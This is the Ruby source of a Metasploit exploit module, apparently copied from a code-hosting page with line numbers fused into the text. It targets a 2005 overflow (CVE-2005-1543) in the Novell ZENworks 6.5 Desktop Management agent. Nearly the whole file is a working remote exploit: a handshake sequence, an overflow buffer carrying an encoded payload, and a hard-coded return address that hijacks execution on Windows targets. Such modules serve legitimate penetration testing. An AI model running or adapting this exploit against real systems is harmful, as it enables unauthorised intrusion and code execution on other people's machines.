Path: blob/master/modules/exploits/windows/novell/zenworks_desktop_agent.rb
19612 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GoodRanking78include Msf::Exploit::Remote::Tcp910def initialize(info = {})11super(12update_info(13info,14'Name' => 'Novell ZENworks 6.5 Desktop/Server Management Overflow',15'Description' => %q{16This module exploits a heap overflow in the Novell ZENworks17Desktop Management agent. This vulnerability was discovered18by Alex Wheeler.19},20'Author' => [ 'Unknown' ],21'License' => BSD_LICENSE,22'References' => [23[ 'CVE', '2005-1543'],24[ 'OSVDB', '16698'],25[ 'BID', '13678'],2627],28'Privileged' => true,29'Payload' => {30'Space' => 32767,31'BadChars' => "\x00",32'StackAdjustment' => -3500,33},34'Platform' => %w{win},35'Targets' => [36[37'Windows XP/2000/2003- ZENworks 6.5 Desktop/Server Agent',38{39'Platform' => 'win',40'Ret' => 0x10002e06,41},42],43],44'DisclosureDate' => '2005-05-19',45'DefaultTarget' => 0,46'Notes' => {47'Reliability' => UNKNOWN_RELIABILITY,48'Stability' => UNKNOWN_STABILITY,49'SideEffects' => UNKNOWN_SIDE_EFFECTS50}51)52)53end5455def exploit56connect5758hello = "\x00\x06\x05\x01\x10\xe6\x01\x00\x34\x5a\xf4\x77\x80\x95\xf8\x77"59print_status("Sending version identification")60sock.put(hello)6162pad = Rex::Text.rand_text_alphanumeric(6, payload_badchars)63ident = sock.get_once64if !(ident and ident.length == 16)65print_error("Failed to receive agent version identification")66return67end6869print_status("Received agent version identification")70print_status("Sending client acknowledgement")71sock.put("\x00\x01")7273# Stack buffer overflow in ZenRem32.exe / ZENworks Server Management74sock.put("\x00\x06#{pad}\x00\x06#{pad}\x7f\xff" + payload.encoded + "\x00\x01")7576ack = sock.get_once77sock.put("\x00\x01")78sock.put("\x00\x02")7980print_status("Sending final payload")81sock.put("\x00\x24" + ("A" * 0x20) + [ target.ret ].pack('V'))8283print_status("Overflow request sent, sleeping for four seconds")84select(nil, nil, nil, 4)8586handler87disconnect88end89end909192